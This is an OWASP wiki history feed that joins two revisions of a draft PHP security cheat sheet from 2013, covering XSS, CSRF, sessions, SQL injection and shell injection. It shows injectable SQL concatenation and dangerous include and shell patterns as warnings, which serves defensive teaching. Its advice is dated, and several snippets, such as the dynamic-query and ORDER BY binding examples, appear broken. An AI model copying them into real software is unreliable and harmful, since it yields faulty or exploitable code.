Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165053</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165053"/>
				<updated>2013-12-21T19:52:08Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: SetHandler/AddHandler warning&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP status on the web==&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things). &lt;br /&gt;
&lt;br /&gt;
PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed. &lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
